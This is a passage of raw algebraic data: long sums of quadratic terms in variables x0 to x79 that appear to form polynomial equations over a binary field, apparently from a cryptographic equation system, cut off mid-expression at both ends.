x18*x72 + x18*x79 + x18 + x19*x21 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x35 + x19*x38 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x60 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x71 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x27 + x20*x30 + x20*x33 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x61 + x20*x63 + x20*x64 + x20*x68 + x20*x70 + x20*x74 + x20*x76 + x20*x79 + x21*x23 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x33 + x21*x37 + x21*x38 + x21*x41 + x21*x42 + x21*x44 + x21*x47 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x60 + x21*x62 + x21*x64 + x21*x69 + x21*x72 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x78 + x21*x79 + x21 + x22*x24 + x22*x28 + x22*x30 + x22*x31 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x65 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x36 + x23*x38 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x48 + x23*x49 + x23*x54 + x23*x56 + x23*x59 + x23*x60 + x23*x63 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x75 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x55 + x24*x57 + x24*x60 + x24*x61 + x24*x63 + x24*x64 + x24*x66 + x24*x67 + x24*x69 + x24*x70 + x24*x75 + x24*x77 + x24*x78 + x24 + x25*x27 + x25*x31 + x25*x34 + x25*x36 + x25*x37 + x25*x39 + x25*x40 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x58 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x71 + x25*x72 + x25*x73 + x25*x75 + x25 + x26*x29 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x42 + x26*x45 + x26*x47 + x26*x52 + x26*x55 + x26*x57 + x26*x59 + x26*x61 + x26*x62 + x26*x63 + x26*x65 + x26*x66 + x26*x69 + x26*x70 + x26*x71 + x26*x74 + x26*x77 + x26*x78 + x26 + x27*x29 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x41 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x71 + x27*x72 + x27*x74 + x27*x75 + x27*x77 + x27 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x45 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x54 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x74 + x28*x75 + x29*x33 + x29*x34 + x29*x38 + x29*x39 + x29*x42 + x29*x45 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x74 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x36 + x30*x37 + x30*x38 + x30*x42 + x30*x44 + x30*x49 + x30*x50 + x30*x52 + x30*x54 + x30*x58 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x71 + x30*x74 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x39 + x31*x42 + x31*x45 + x31*x48 + x31*x49 + x31*x51 + x31*x54 + x31*x55 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x70 + x31*x72 + x31*x74 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x41 + x32*x43 + x32*x44 + x32*x46 + x32*x47 + x32*x48 + x32*x50 + x32*x55 + x32*x61 + x32*x62 + x32*x63 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x53 + x33*x54 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x51 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x60 + x34*x66 + x34*x67 + x34*x71 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34*x79 + x35*x36 + x35*x38 + x35*x39 + x35*x44 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x64 + x35*x65 + x35*x66 + x35*x69 + x35*x71 + x35*x74 + x35*x78 + x35*x79 + x36*x37 + x36*x38 + x36*x40 + x36*x44 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x74 + x36*x78 + x37*x38 + x37*x39 + x37*x42 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x63 + x37*x65 + x37*x67 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x40 + x38*x41 + x38*x46 + x38*x53 + x38*x55 + x38*x57 + x38*x59 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x39*x40 + x39*x41 + x39*x52 + x39*x53 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x39 + x40*x41 + x40*x43 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x58 + x40*x60 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x71 + x40*x72 + x40*x74 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x49 + x41*x50 + x41*x53 + x41*x55 + x41*x59 + x41*x61 + x41*x64 + x41*x65 + x41*x68 + x41*x73 + x41*x75 + x41*x76 + x41*x77 + x42*x46 + x42*x47 + x42*x50 + x42*x51 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x59 + x43*x60 + x43*x62 + x43*x63 + x43*x69 + x43*x71 + x43*x73 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x49 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x63 + x44*x65 + x44*x69 + x44*x72 + x44*x74 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x57 + x45*x60 + x45*x61 + x45*x64 + x45*x68 + x45*x72 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x58 + x46*x60 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x75 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x54 + x47*x58 + x47*x63 + x47*x64 + x47*x67 + x47*x68 + x47*x69 + x47*x70 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x79 + x48*x49 + x48*x50 + x48*x51 + x48*x53 + x48*x55 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x71 + x48*x73 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x62 + x49*x63 + x49*x64 + x49*x66 + x49*x67 + x49*x70 + x49*x74 + x49*x75 + x49*x76 + x49 + x50*x52 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x67 + x50*x70 + x50*x73 + x50*x76 + x50*x77 + x50*x78 + x51*x55 + x51*x57 + x51*x58 + x51*x68 + x51*x69 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x52*x55 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x63 + x52*x65 + x52*x68 + x52*x69 + x52*x71 + x52*x75 + x52*x76 + x52*x77 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x61 + x53*x67 + x53*x68 + x53*x72 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x61 + x54*x63 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x73 + x54*x77 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x66 + x55*x75 + x55*x77 + x56*x57 + x56*x61 + x56*x62 + x56*x65 + x56*x68 + x56*x72 + x56*x73 + x56*x78 + x56 + x57*x58 + x57*x61 + x57*x64 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x58*x59 + x58*x61 + x58*x62 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x73 + x58*x74 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x64 + x59*x66 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x69 + x60*x72 + x60*x75 + x60*x77 + x60*x78 + x60 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x75 + x62*x77 + x62*x79 + x62 + x63*x68 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x78 + x64*x66 + x64*x69 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x72 + x66*x73 + x66*x77 + x66*x79 + x67*x68 + x67*x71 + x67*x74 + x67*x76 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x77 + x68*x79 + x69*x70 + x69*x71 + x69*x74 + x69*x75 + x70*x71 + x70*x74 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x78 + x71*x79 + x72*x74 + x72 + x73*x74 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x75*x76 + x75*x77 + x75 + x76*x79 + x76 + x77*x79 + x79 + 1, x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x11 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x25 + x0*x27 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x51 + x0*x54 + x0*x55 + x0*x56 + x0*x59 + x0*x61 + x0*x62 + x0*x65 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x9 + x1*x11 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x33 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x43 + x1*x45 + x1*x46 + x1*x48 + x1*x51 + x1*x52 + x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1 + x2*x6 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x19 + x2*x22 + x2*x23 + x2*x28 + x2*x29 + x2*x30 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x45 + x2*x47 + x2*x50 + x2*x52 + x2*x53 + x2*x62 + x2*x64 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x74 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x8 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x17 + x3*x18 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x36 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x45 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x58 + x3*x59 + x3*x64 + x3*x66 + x3*x69 + x3*x72 + x3*x73 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x11 + x4*x14 + x4*x17 + x4*x18 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x30 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x45 + x4*x48 + x4*x50 + x4*x51 + x4*x52 + x4*x53 + x4*x54 + x4*x57 + x4*x64 + x4*x65 + x4*x74 + x4*x75 + x4*x77 + x4 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x30 + x5*x31 + x5*x32 + x5*x36 + x5*x37 + x5*x39 + x5*x42 + x5*x43 + x5*x46 + x5*x47 + x5*x50 + x5*x51 + x5*x53 + x5*x55 + x5*x57 + x5*x58 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x74 + x5*x75 + x5*x77 + x5 + x6*x11 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x37 + x6*x38 + x6*x40 + x6*x44 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x62 + x6*x65 + x6*x67 + x6*x68 + x6*x73 + x6*x77 + x6*x79 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x28 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x40 + x7*x42 + x7*x43 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x66 + x7*x75 + x7*x77 + x7 + x8*x9 + x8*x11 + x8*x13 + x8*x14 + x8*x16 + x8*x22 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x36 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x46 + x8*x47 + x8*x50 + x8*x54 + x8*x56 + x8*x58 + x8*x61 + x8*x62 + x8*x65 + x8*x69 + x8*x72 + x8*x76 + x8*x77 + x8*x78 + x8 + x9*x12 + x9*x15 + x9*x16 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x29 + x9*x30 + x9*x34 + x9*x37 + x9*x43 + x9*x45 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x54 + x9*x56 + x9*x59 + x9*x60 + x9*x62 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x73 + x9*x79 + x10*x11 + x10*x12 + x10*x14 + x10*x18 + x10*x23 + x10*x27 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x46 + x10*x48 + x10*x51 + x10*x54 + x10*x56 + x10*x57 + x10*x60 + x10*x61 + x10*x64 + x10*x67 + x10*x70 + x10*x71 + x10*x77 + x10*x78 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x36 + x11*x39 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x58 + x11*x62 + x11*x68 + x11*x69 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x22 + x12*x24 + x12*x26 + x12*x29 + x12*x30 + x12*x32 + x12*x37 + x12*x39 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x49 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x69 + x12*x71 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x79 + x13*x14 + x13*x19 + x13*x21 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x46 + x13*x49 + x13*x51 + x13*x52 + x13*x53 + x13*x55 + x13*x56 + x13*x60 + x13*x62 + x13*x64 + x13*x65 + x13*x70 + x13*x71 + x13*x78 + x13 + x14*x15 + x14*x17 + x14*x21 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x39 + x14*x40 + x14*x44 + x14*x46 + x14*x50 + x14*x52 + x14*x53 + x14*x56 + x14*x58 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x70 + x14*x74 + x14*x77 + x14 + x15*x18 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x33 + x15*x34 + x15*x37 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x47 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x57 + x15*x58 + x15*x60 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15*x77 + x16*x17 + x16*x18 + x16*x20 + x16*x29 + x16*x32 + x16*x35 + x16*x37 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x19 + x17*x21 + x17*x24 + x17*x26 + x17*x28 + x17*x29 + x17*x31 + x17*x34 + x17*x36 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x55 + x17*x60 + x17*x62 + x17*x63 + x17*x67 + x17*x68 + x17*x70 + x17*x72 + x17*x74 + x17*x75 + x17*x78 + x17*x79 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x33 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x42 + x18*x50 + x18*x54 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x62 + x18*x63 + x18*x64 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x75 + x18*x76 + x18*x78 + x18 + x19*x23 + x19*x25 + x19*x26 + x19*x29 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x54 + x19*x56 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x71 + x19*x72 + x19*x75 + x19*x76 + x19*x77 + x19*x79 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x28 + x20*x31 + x20*x32 + x20*x37 + x20*x39 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x48 + x20*x49 + x20*x51 + x20*x54 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x65 + x20*x69 + x20*x72 + x20*x75 + x20*x77 + x20*x79 + x21*x22 + x21*x23 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x35 + x21*x36 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x45 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x77 + x21 + x22*x23 + x22*x26 + x22*x28 + x22*x30 + x22*x31 + x22*x34 + x22*x38 + x22*x41 + x22*x43 + x22*x46 + x22*x48 + x22*x49 + x22*x51 + x22*x52 + x22*x55 + x22*x57 + x22*x60 + x22*x65 + x22*x67 + x22*x72 + x22*x74 + x22*x78 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x33 + x23*x35 + x23*x36 + x23*x41 + x23*x42 + x23*x48 + x23*x49 + x23*x50 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x70 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x24*x26 + x24*x27 + x24*x31 + x24*x33 + x24*x35 + x24*x37 + x24*x38 + x24*x39 + x24*x41 + x24*x42 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x70 + x24*x73 + x24*x75 + x24*x77 + x24 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x43 + x25*x44 + x25*x51 + x25*x52 + x25*x54 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x62 + x25*x63 + x25*x65 + x25*x66 + x25*x69 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x40 + x26*x46 + x26*x50 + x26*x51 + x26*x56 + x26*x57 + x26*x62 + x26*x64 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x77 + x27*x29 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x36 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x54 + x27*x55 + x27*x58 + x27*x59 + x27*x61 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x79 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x35 + x28*x39 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x59 + x28*x62 + x28*x67 + x28*x68 + x28*x70 + x28*x71 + x28*x72 + x28*x73 + x28*x76 + x28*x77 + x28*x79 + x29*x32 + x29*x34 + x29*x39 + x29*x42 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x72 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x40 + x30*x41 + x30*x44 + x30*x46 + x30*x47 + x30*x50 + x30*x54 + x30*x55 + x30*x56 + x30*x57 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x68 + x30*x70 + x30*x72 + x30*x73 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x41 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x57 + x31*x58 + x31*x59 + x31*x63 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x75 + x31*x77 + x31*x78 + x31 + x32*x33 + x32*x36 + x32*x37 + x32*x39 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x61 + x32*x64 + x32*x65 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x76 + x32*x78 + x32*x79 + x32 + x33*x35 + x33*x36 + x33*x39 + x33*x41 + x33*x42 + x33*x43 + x33*x47 + x33*x49 + x33*x50 + x33*x52 + x33*x54 + x33*x60 + x33*x64 + x33*x68 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x45 + x34*x49 + x34*x51 + x34*x52 + x34*x54 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x63 + x34*x65 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34*x77 + x34*x78 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x42 + x35*x44 + x35*x46 + x35*x49 + x35*x51 + x35*x53 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x64 + x35*x68 + x35*x69 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x79 + x35 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x47 + x36*x50 + x36*x55 + x36*x58 + x36*x60 + x36*x63 + x36*x64 + x36*x67 + x36*x69 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x58 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x66 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x61 + x38*x63 + x38*x65 + x38*x67 + x38*x69 + x38*x75 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x67 + x39*x70 + x39*x71 + x39*x75 + x39*x76 + x39*x79 + x39 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x49 + 